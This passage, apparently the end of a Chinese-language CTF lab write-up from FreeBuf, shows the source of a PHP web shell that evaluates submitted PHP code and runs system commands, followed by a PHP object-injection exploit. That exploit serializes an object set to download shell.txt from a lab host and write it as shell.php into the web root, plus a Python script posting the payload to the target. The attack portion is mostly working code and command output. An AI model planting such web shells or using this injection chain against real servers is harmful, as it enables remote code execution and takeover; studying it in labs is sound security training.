        @$src = $_REQUEST['src'];

        menu();

        print '<form action="' . $_SERVER['PHP_SELF'] .
            '?action=eval" method="post" enctype="multipart/form-data"> ' .
            'PHP Code: <br><textarea name="src" rows="10" cols="70">' . $src . '</textarea><br>' .
            '<input type="submit" value="Evaluate PHP"></form>';

        if (!empty($src)) {
            print '<pre>Eval Output:<br>';
            eval($src);
            print '</pre>';
        }

        return;

    case 'exec':
        @$cmd = $_REQUEST['cmd'];

        menu();

        print '<form action="' . $_SERVER['PHP_SELF'] .
            '?action=exec" method="post" enctype="multipart/form-data"> ' .
            'System Command: <br><textarea name="cmd" rows="10" cols="70">' . $cmd . '</textarea><br>' .
            '<input type="submit" value="Run"></form>';

        if (!empty($cmd)) {
            print '<pre>Command Output:<br>';
            if (class_exists('ReflectionFunction')) {
                $function = new ReflectionFunction('system');
                $function->invoke($cmd);
            } elseif (function_exists('call_user_func_array')) {
                call_user_func_array('system', [$cmd]);
            } elseif (function_exists('call_user_func')) {
                call_user_func('system', $cmd);
            } else {
                system($cmd);
            }
            print '</pre>';
        }

        return;

    default:
        menu();

        return;
}


#show.php

<?php

class Show {

    public $woot;

    function __toString(){
        return "Showme";

}
    function Pwnme(){
        $this->woot="ROOT";

}

}

class Test {

    public $url;
    public $name_file;
    public $path;

    function __destruct(){
        # Commented out as this will run when this script
        # also finishes :D

        #$data=file_get_contents($this->url);
        #$f=fopen($this->path."/".$this->name_file, "w");
        #fwrite($f, $data);
        #fclose($f);
        #chmod($this->path."/".$this->name_file, 0644);
}
}


$test = new Test();
$test->url = 'http://192.168.0.106/shell.txt';
$test->name_file = 'shell.php';
$test->path = '/var/www';

print_r(serialize([$test, new Show()]));






root@kali:/var/www/html# php show.php 
a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}


下面是exp

root@kali:/tmp# cat 22.py 
import requests

OBJECT = """a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}"""

print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT})
print(r.status_code)
print(r.text)

root@kali:/tmp# python 22.py 
[+] Exploiting the PHP Object Injection Bug
200
Array

FLAG

image.png

# ctf靶场系列
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者